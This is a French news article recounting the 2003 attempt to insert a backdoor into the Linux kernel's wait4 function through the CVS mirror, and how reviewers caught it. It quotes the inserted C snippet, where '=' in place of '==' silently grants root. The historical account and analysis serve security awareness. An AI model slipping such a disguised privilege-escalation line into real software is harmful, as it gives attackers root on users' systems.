Retour en 2003. Les développeurs de Linux utilisaient le logiciel BitKeeper pour stocker la copie maitre du code source du kernel. Si un développeur voulait proposer une modification du code Linux, il devait soumettre ses changements, qui devaient passer un processus d’approbation pour décider si le code proposé pouvait être accepté dans le code maitre.
Cependant, beaucoup de développeurs n’aimaient pas BitKeeper (parce que c’était un logiciel fermé de contrôle de code source, qui a été remplacé plus tard par Git). Une seconde copie du code source de Linux était maintenue dans un CVS pour ceux-ci. La copie CVS était un clone direct de la copie BitKeeper primaire.
En novembre 2003, Larry McVoy, un administrateur Linux, avait remarqué un changement dans le code de la copie CVS, qui n’avait pas de référence vers un dossier d’approbation. L’enquête des développeurs a révélé que le changement n’avait jamais été approuvé, était inconnu et ne provenait pas du code primaire de BitKeeper.
En menant une enquête plus approfondie, il s’est avéré que quelqu’un avait créé un dysfonctionnement sur le serveur CVS et avait inséré ce changement. « Qu’est-ce que ce changement fait ? C’est là que ça devient intéressant », écrit Felten, qui note que le changement avait modifié la fonction « wait4 » du kernel. Concrètement, le code inséré était le suivant :
Code C : | Sélectionner tout |
1 2 3 | if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; |
Une lecture superficielle de ce code peut donner l’impression d’un code sans problème. D’après Felten, un développeur averti devrait remarquer qu’au lieu d’utiliser l’opérateur de comparaison « == », l’opérateur d’affectation a plutôt été utilisé « = » (current->uid = 0). Le « 0 » représentant l’utilisateur root, ce code attribuerait donc les privilèges d’administrateur à « current->uid ». « En d’autres termes, il s’agit d’une porte dérobée classique », conclut Ed Felten.
« C’est un morceau de code intéressant. Il ressemble à une vérification inoffensive d’erreurs, mais c’est vraiment un backdoor. Il a été glissé dans le code en dehors du processus normal d’approbation, afin d’éviter sa détection », écrit Felten, qui ajoute : « mais la tentative n’a pas fonctionné, parce que l’équipe Linux est assez prudente et a noté que le code était dans le CVS sans approbation. Un point pour Linux ».
S’agit-il d’une tentative de la NSA ? Peut-être que oui, peut-être que non. L’auteur n’avait pas été identifié.
Source : billet d'Ed Felten
Et vous ?
Qu'en pensez-vous ?
Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?